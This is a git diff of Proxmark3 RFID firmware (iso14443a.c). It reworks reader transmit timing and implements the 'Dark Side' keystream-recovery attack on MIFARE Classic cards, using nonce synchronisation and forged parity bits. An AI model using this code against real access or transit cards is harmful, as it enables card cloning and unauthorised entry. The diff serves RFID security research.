X-Git-Url: https://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/3803d5295da845850b73c46f2718a0c61273e030..b61f426c2d92962ae51a6d4dc01a846fc2d4c095:/armsrc/iso14443a.c

diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c
index a726fdc9..bd7e758d 100644
--- a/armsrc/iso14443a.c
+++ b/armsrc/iso14443a.c
@@ -1218,47 +1218,75 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
 	LED_A_OFF();
 }
 
+
+// prepare a delayed transfer. This simply shifts ToSend[] by a number
+// of bits specified in the delay parameter.
+void PrepareDelayedTransfer(uint16_t delay)
+{
+	uint8_t bitmask = 0;
+	uint8_t bits_to_shift = 0;
+	uint8_t bits_shifted = 0;
+	
+	delay &= 0x07;
+	if (delay) {
+		for (uint16_t i = 0; i < delay; i++) {
+			bitmask |= (0x01 << i);
+		}
+		ToSend[++ToSendMax] = 0x00;
+		for (uint16_t i = 0; i < ToSendMax; i++) {
+			bits_to_shift = ToSend[i] & bitmask;
+			ToSend[i] = ToSend[i] >> delay;
+			ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+			bits_shifted = bits_to_shift;
+		}
+	}
+}
+
+
+
+
 //-----------------------------------------------------------------------------
 // Transmit the command (to the tag) that was placed in ToSend[].
+// Parameter timing:
+// if NULL: ignored
+// if == 0:	return time of transfer
+// if != 0: delay transfer until time specified
 //-----------------------------------------------------------------------------
-static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wait)
+static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing)
 {
-  int c;
+	int c;
 
-  FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+	FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
 
-	if (wait)
-    if(*wait < 10)
-      *wait = 10;
 
-  for(c = 0; c < *wait;) {
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
-      AT91C_BASE_SSC->SSC_THR = 0x00;		// For exact timing!
-      c++;
-    }
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
-      volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
-      (void)r;
-    }
-    WDT_HIT();
-  }
+	if (timing) {
+		if(*timing == 0) {										// Measure time
+			*timing = (GetCountMifare() + 8) & 0xfffffff8;
+		} else {
+			PrepareDelayedTransfer(*timing & 0x00000007);		// Delay transfer (fine tuning - up to 7 MF clock ticks)
+		}
+		if(MF_DBGLEVEL >= 4 && GetCountMifare() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing");
+		while(GetCountMifare() < (*timing & 0xfffffff8));		// Delay transfer (multiple of 8 MF clock ticks)
+	}
+
+	for(c = 0; c < 10;) {	// standard delay for each transfer (allow tag to be ready after last transmission)
+		if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+			AT91C_BASE_SSC->SSC_THR = 0x00;	
+			c++;
+		}
+	}
+	
+	c = 0;
+	for(;;) {
+		if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+			AT91C_BASE_SSC->SSC_THR = cmd[c];
+			c++;
+			if(c >= len) {
+				break;
+			}
+		}
+	}
 
-  c = 0;
-  for(;;) {
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
-      AT91C_BASE_SSC->SSC_THR = cmd[c];
-      c++;
-      if(c >= len) {
-        break;
-      }
-    }
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
-      volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
-      (void)r;
-    }
-    WDT_HIT();
-  }
-	if (samples) *samples = (c + *wait) << 3;
 }
 
 //-----------------------------------------------------------------------------
@@ -1515,7 +1543,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
 	// Signal field is on with the appropriate LED
 	LED_D_ON();
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
-
+	
 	// Now get the answer from the card
 	Demod.output = receivedResponse;
 	Demod.len = 0;
@@ -1528,10 +1556,10 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
 	for(;;) {
 		WDT_HIT();
 
-		if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
-			AT91C_BASE_SSC->SSC_THR = 0x00;  // To make use of exact timing of next command from reader!!
-			if (elapsed) (*elapsed)++;
-		}
+		// if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+			// AT91C_BASE_SSC->SSC_THR = 0x00;  // To make use of exact timing of next command from reader!!
+			// if (elapsed) (*elapsed)++;
+		// }
 		if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
 			if(c < iso14a_timeout) { c++; } else { return FALSE; }
 			b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
@@ -1547,17 +1575,13 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
 	}
 }
 
-void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing)
 {
-  int wait = 0;
-  int samples = 0;
-  
-  // This is tied to other size changes
-  // 	uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
+ 
   CodeIso14443aBitsAsReaderPar(frame,bits,par);
   
   // Select the card
-  TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
+  TransmitFor14443a(ToSend, ToSendMax, timing);
   if(trigger)
   	LED_A_ON();
   
@@ -1565,15 +1589,15 @@ void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
   if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
 }
 
-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing)
 {
-  ReaderTransmitBitsPar(frame,len*8,par);
+  ReaderTransmitBitsPar(frame,len*8,par, timing);
 }
 
-void ReaderTransmit(uint8_t* frame, int len)
+void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing)
 {
   // Generate parity and redirect
-  ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len));
+  ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing);
 }
 
 int ReaderReceive(uint8_t* receivedAnswer)
@@ -1599,26 +1623,26 @@ int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr)
  * fills the uid pointer unless NULL
  * fills resp_data unless NULL */
 int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) {
-	uint8_t wupa[]       = { 0x52 };  // 0x26 - REQA  0x52 - WAKE-UP
-	uint8_t sel_all[]    = { 0x93,0x20 };
-	uint8_t sel_uid[]    = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-	uint8_t rats[]       = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
-	uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
+  uint8_t wupa[]       = { 0x52 };  // 0x26 - REQA  0x52 - WAKE-UP
+  uint8_t sel_all[]    = { 0x93,0x20 };
+  uint8_t sel_uid[]    = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+  uint8_t rats[]       = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
+  uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
   byte_t uid_resp[4];
   size_t uid_resp_len;
 
-	uint8_t sak = 0x04; // cascade uid
-	int cascade_level = 0;
-	int len;
+  uint8_t sak = 0x04; // cascade uid
+  int cascade_level = 0;
+  int len;
 	 
-	// Broadcast for a card, WUPA (0x52) will force response from all cards in the field
-  ReaderTransmitBitsPar(wupa,7,0);
-	// Receive the ATQA
-	if(!ReaderReceive(resp)) return 0;
+  // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
+    ReaderTransmitBitsPar(wupa,7,0, NULL);
+  // Receive the ATQA
+  if(!ReaderReceive(resp)) return 0;
 //  Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
-  
-	if(p_hi14a_card) {
-		memcpy(p_hi14a_card->atqa, resp, 2);
+
+  if(p_hi14a_card) {
+    memcpy(p_hi14a_card->atqa, resp, 2);
     p_hi14a_card->uidlen = 0;
     memset(p_hi14a_card->uid,0,10);
   }
@@ -1628,42 +1652,41 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
     memset(uid_ptr,0,10);
   }
 
-	// OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
-	// which case we need to make a cascade 2 request and select - this is a long UID
-	// While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
-	for(; sak & 0x04; cascade_level++)
-	{
-		// SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
-		sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+  // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
+  // which case we need to make a cascade 2 request and select - this is a long UID
+  // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
+  for(; sak & 0x04; cascade_level++) {
+    // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
+    sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
 
-		// SELECT_ALL
-		ReaderTransmit(sel_all,sizeof(sel_all));
-		if (!ReaderReceive(resp)) return 0;
+    // SELECT_ALL
+    ReaderTransmit(sel_all,sizeof(sel_all), NULL);
+    if (!ReaderReceive(resp)) return 0;
     
-    // First backup the current uid 
+    // First backup the current uid
     memcpy(uid_resp,resp,4);
     uid_resp_len = 4;
     //    Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
     
-		// calculate crypto UID
-		if(cuid_ptr) {
-      *cuid_ptr = bytes_to_num(uid_resp, 4);
+	// calculate crypto UID. Always use last 4 Bytes.
+	if(cuid_ptr) {
+		*cuid_ptr = bytes_to_num(uid_resp, 4);
     }
 
-		// Construct SELECT UID command
+    // Construct SELECT UID command
 		memcpy(sel_uid+2,resp,5);
-		AppendCrc14443a(sel_uid,7);
-		ReaderTransmit(sel_uid,sizeof(sel_uid));
+    AppendCrc14443a(sel_uid,7);
+    ReaderTransmit(sel_uid,sizeof(sel_uid), NULL);
 
-		// Receive the SAK
-		if (!ReaderReceive(resp)) return 0;
-		sak = resp[0];
+    // Receive the SAK
+    if (!ReaderReceive(resp)) return 0;
+    sak = resp[0];
 
     // Test if more parts of the uid are comming
     if ((sak & 0x04) && uid_resp[0] == 0x88) {
       // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
       // http://www.nxp.com/documents/application_note/AN10927.pdf
-      memcpy(uid_ptr, uid_ptr + 1, 3);
+      memcpy(uid_resp, uid_resp + 1, 3);
       uid_resp_len = 3;
     }
     
@@ -1675,41 +1698,41 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
       memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
       p_hi14a_card->uidlen += uid_resp_len;
     }
-	}
+  }
 
-	if(p_hi14a_card) {
-		p_hi14a_card->sak = sak;
-		p_hi14a_card->ats_len = 0;
-	}
+  if(p_hi14a_card) {
+    p_hi14a_card->sak = sak;
+    p_hi14a_card->ats_len = 0;
+  }
 
-	if( (sak & 0x20) == 0) {
-		return 2; // non iso14443a compliant tag
+  if( (sak & 0x20) == 0) {
+    return 2; // non iso14443a compliant tag
   }
 
-	// Request for answer to select
+  // Request for answer to select
   AppendCrc14443a(rats, 2);
-  ReaderTransmit(rats, sizeof(rats));
-  
+  ReaderTransmit(rats, sizeof(rats), NULL);
+
   if (!(len = ReaderReceive(resp))) return 0;
 
   if(p_hi14a_card) {
-		memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
-		p_hi14a_card->ats_len = len;
-	}
+    memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
+    p_hi14a_card->ats_len = len;
+  }
 	
-	// reset the PCB block number
-	iso14_pcb_blocknum = 0;
-	return 1;
+  // reset the PCB block number
+  iso14_pcb_blocknum = 0;
+  return 1;
 }
 
 void iso14443a_setup() {
-  // Set up the synchronous serial port
-  FpgaSetupSsc();
+	// Set up the synchronous serial port
+	FpgaSetupSsc();
 	// Start from off (no field generated)
 	// Signal field is off with the appropriate LED
-	LED_D_OFF();
-	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-	SpinDelay(50);
+//	LED_D_OFF();
+//	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+	// SpinDelay(50);
 
 	SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
 
@@ -1717,7 +1740,7 @@ void iso14443a_setup() {
 	// Signal field is on with the appropriate LED
 	LED_D_ON();
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-	SpinDelay(50);
+	SpinDelay(7); // iso14443-3 specifies 5ms max.
 
 	iso14a_timeout = 2048; //default
 }
@@ -1731,7 +1754,7 @@ int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) {
 	memcpy(real_cmd+2, cmd, cmd_len);
 	AppendCrc14443a(real_cmd,cmd_len+2);
  
-	ReaderTransmit(real_cmd, cmd_len+4);
+	ReaderTransmit(real_cmd, cmd_len+4, NULL);
 	size_t len = ReaderReceive(data);
 	uint8_t * data_bytes = (uint8_t *) data;
 	if (!len)
@@ -1758,21 +1781,20 @@ void ReaderIso14443a(UsbCommand * c)
 	iso14a_command_t param = c->arg[0];
 	uint8_t * cmd = c->d.asBytes;
 	size_t len = c->arg[1];
-  uint32_t arg0 = 0;
-  byte_t buf[USB_CMD_DATA_SIZE];
+	uint32_t arg0 = 0;
+	byte_t buf[USB_CMD_DATA_SIZE];
   
-  iso14a_clear_trace();
-  iso14a_set_tracing(true);
+	iso14a_clear_trace();
+	iso14a_set_tracing(true);
 
 	if(param & ISO14A_REQUEST_TRIGGER) {
-    iso14a_set_trigger(1);
-  }
+		iso14a_set_trigger(1);
+	}
 
 	if(param & ISO14A_CONNECT) {
 		iso14443a_setup();
-		arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL);
+		arg0 = iso14443a_select_card(NULL, (iso14a_card_select_t*)buf, NULL);
 		cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));
-//    UsbSendPacket((void *)ack, sizeof(UsbCommand));
 	}
 
 	if(param & ISO14A_SET_TIMEOUT) {
@@ -1786,7 +1808,6 @@ void ReaderIso14443a(UsbCommand * c)
 	if(param & ISO14A_APDU) {
 		arg0 = iso14_apdu(cmd, len, buf);
 		cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
-//		UsbSendPacket((void *)ack, sizeof(UsbCommand));
 	}
 
 	if(param & ISO14A_RAW) {
@@ -1794,105 +1815,208 @@ void ReaderIso14443a(UsbCommand * c)
 			AppendCrc14443a(cmd,len);
 			len += 2;
 		}
-		ReaderTransmit(cmd,len);
+		ReaderTransmit(cmd,len, NULL);
 		arg0 = ReaderReceive(buf);
-//		UsbSendPacket((void *)ack, sizeof(UsbCommand));
-    cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
+		cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
 	}
 
 	if(param & ISO14A_REQUEST_TRIGGER) {
-    iso14a_set_trigger(0);
-  }
+		iso14a_set_trigger(0);
+	}
 
 	if(param & ISO14A_NO_DISCONNECT) {
 		return;
-  }
+	}
 
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
 	LEDsoff();
 }
 
+
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+	uint16_t i;
+	uint32_t nttmp1, nttmp2;
+
+	if (nt1 == nt2) return 0;
+
+	nttmp1 = nt1;
+	nttmp2 = nt2;
+	
+	for (i = 1; i < 32768; i++) {
+		nttmp1 = prng_successor(nttmp1, 1);
+		if (nttmp1 == nt2) return i;
+		nttmp2 = prng_successor(nttmp2, 1);
+			if (nttmp2 == nt1) return -i;
+		}
+	
+	return(-99999); // either nt1 or nt2 are invalid nonces
+}
+
+
 //-----------------------------------------------------------------------------
-// Read an ISO 14443a tag. Send out commands and store answers.
-//
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
 //-----------------------------------------------------------------------------
-void ReaderMifare(uint32_t parameter)
+void ReaderMifare(bool first_try)
 {
 	// Mifare AUTH
 	uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
 	uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+	static uint8_t mf_nr_ar3;
 
-	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
+	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
 	traceLen = 0;
 	tracing = false;
 
-	iso14443a_setup();
-
-	LED_A_ON();
-	LED_B_OFF();
-	LED_C_OFF();
-
 	byte_t nt_diff = 0;
-	LED_A_OFF();
 	byte_t par = 0;
 	//byte_t par_mask = 0xff;
-	byte_t par_low = 0;
-	int led_on = TRUE;
-	uint8_t uid[8];
+	static byte_t par_low = 0;
+	bool led_on = TRUE;
+	uint8_t uid[10];
 	uint32_t cuid;
 
-	tracing = FALSE;
-	byte_t nt[4] = {0,0,0,0};
-	byte_t nt_attacked[4], nt_noattack[4];
+	uint32_t nt, previous_nt;
+	static uint32_t nt_attacked = 0;
 	byte_t par_list[8] = {0,0,0,0,0,0,0,0};
 	byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
-	num_to_bytes(parameter, 4, nt_noattack);
-	int isOK = 0, isNULL = 0;
 
-	while(TRUE)
-	{
-		LED_C_OFF();
-		FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-		SpinDelay(50);
-		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-		LED_C_ON();
-		SpinDelay(2);
+	static uint32_t sync_time;
+	static uint32_t sync_cycles;
+	int catch_up_cycles = 0;
+	int last_catch_up = 0;
+	uint16_t consecutive_resyncs = 0;
+	int isOK = 0;
+
+
+
+	if (first_try) { 
+		StartCountMifare();
+		mf_nr_ar3 = 0;
+		iso14443a_setup();
+		while((GetCountMifare() & 0xffff0000) != 0x10000);		// wait for counter to reset and "warm up" 
+		sync_time = GetCountMifare() & 0xfffffff8;
+		sync_cycles = 65536;									// theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+		nt_attacked = 0;
+		nt = 0;
+		par = 0;
+	}
+	else {
+		// we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+		// nt_attacked = prng_successor(nt_attacked, 1);
+		mf_nr_ar3++;
+		mf_nr_ar[3] = mf_nr_ar3;
+		par = par_low;
+	}
+
+	LED_A_ON();
+	LED_B_OFF();
+	LED_C_OFF();
+	
+  
+	for(uint16_t i = 0; TRUE; i++) {
+		
+		WDT_HIT();
 
 		// Test if the action was cancelled
 		if(BUTTON_PRESS()) {
 			break;
 		}
+		
+		LED_C_ON();
 
-		if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+		if(!iso14443a_select_card(uid, NULL, &cuid)) {
+			if (MF_DBGLEVEL >= 1)	Dbprintf("Mifare: Can't select card");
+			continue;
+		}
 
-		// Transmit MIFARE_CLASSIC_AUTH
-		ReaderTransmit(mf_auth, sizeof(mf_auth));
+		//keep the card active
+		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
 
-		// Receive the (16 bit) "random" nonce
-		if (!ReaderReceive(receivedAnswer)) continue;
-		memcpy(nt, receivedAnswer, 4);
+		// CodeIso14443aBitsAsReaderPar(mf_auth, sizeof(mf_auth)*8, GetParity(mf_auth, sizeof(mf_auth)*8));
 
-		// Transmit reader nonce and reader answer
-		ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
+		sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+		catch_up_cycles = 0;
 
-		// Receive 4 bit answer
-		if (ReaderReceive(receivedAnswer))
-		{
-			if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+		// if we missed the sync time already, advance to the next nonce repeat
+		while(GetCountMifare() > sync_time) {
+			sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+		}
 
-			isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
-			if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
+		// Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) 
+		ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
 
+		// Receive the (4 Byte) "random" nonce
+		if (!ReaderReceive(receivedAnswer)) {
+			if (MF_DBGLEVEL >= 1)	Dbprintf("Mifare: Couldn't receive tag nonce");
+			continue;
+		  }
+
+		previous_nt = nt;
+		nt = bytes_to_num(receivedAnswer, 4);
+
+		// Transmit reader nonce with fake par
+		ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
+
+		if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+			int nt_distance = dist_nt(previous_nt, nt);
+			if (nt_distance == 0) {
+				nt_attacked = nt;
+			}
+			else {
+				if (nt_distance == -99999) { // invalid nonce received, try again
+					continue;
+				}
+				sync_cycles = (sync_cycles - nt_distance);
+				if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+				continue;
+			}
+		}
+
+		if ((nt != nt_attacked) && nt_attacked) { 	// we somehow lost sync. Try to catch up again...
+			catch_up_cycles = -dist_nt(nt_attacked, nt);
+			if (catch_up_cycles == 99999) {			// invalid nonce received. Don't resync on that one.
+				catch_up_cycles = 0;
+				continue;
+			}
+			if (catch_up_cycles == last_catch_up) {
+				consecutive_resyncs++;
+			}
+			else {
+				last_catch_up = catch_up_cycles;
+			    consecutive_resyncs = 0;
+			}
+			if (consecutive_resyncs < 3) {
+				if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+			}
+			else {	
+				sync_cycles = sync_cycles + catch_up_cycles;
+				if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+			}
+			continue;
+		}
+ 
+		consecutive_resyncs = 0;
+		
+		// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+		if (ReaderReceive(receivedAnswer))
+		{
+			catch_up_cycles = 8; 	// the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
+	
 			if (nt_diff == 0)
 			{
-				LED_A_ON();
-				memcpy(nt_attacked, nt, 4);
-				//par_mask = 0xf8;
-				par_low = par & 0x07;
+				par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
 			}
 
 			led_on = !led_on;
 			if(led_on) LED_B_ON(); else LED_B_OFF();
+
 			par_list[nt_diff] = par;
 			ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
 
@@ -1903,10 +2027,10 @@ void ReaderMifare(uint32_t parameter)
 			}
 
 			nt_diff = (nt_diff + 1) & 0x07;
-			mf_nr_ar[3] = nt_diff << 5;
+			mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
 			par = par_low;
 		} else {
-			if (nt_diff == 0)
+			if (nt_diff == 0 && first_try)
 			{
 				par++;
 			} else {
@@ -1915,31 +2039,27 @@ void ReaderMifare(uint32_t parameter)
 		}
 	}
 
-	LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
+	LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
 	LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
 	LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
 
-  byte_t buf[48];
-//	UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
+	mf_nr_ar[3] &= 0x1F;
+	
+	byte_t buf[28];
 	memcpy(buf + 0,  uid, 4);
-	memcpy(buf + 4,  nt, 4);
+	num_to_bytes(nt, 4, buf + 4);
 	memcpy(buf + 8,  par_list, 8);
 	memcpy(buf + 16, ks_list, 8);
+	memcpy(buf + 24, mf_nr_ar, 4);
 		
-	LED_B_ON();
-  cmd_send(CMD_ACK,isOK,0,0,buf,48);
-//	UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
-	LED_B_OFF();	
+	cmd_send(CMD_ACK,isOK,0,0,buf,28);
 
 	// Thats it...
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
 	LEDsoff();
 	tracing = TRUE;
-	
-	if (MF_DBGLEVEL >= 1)	DbpString("COMMAND mifare FINISHED");
 }
 
-
 //-----------------------------------------------------------------------------
 // MIFARE 1K simulate. 
 //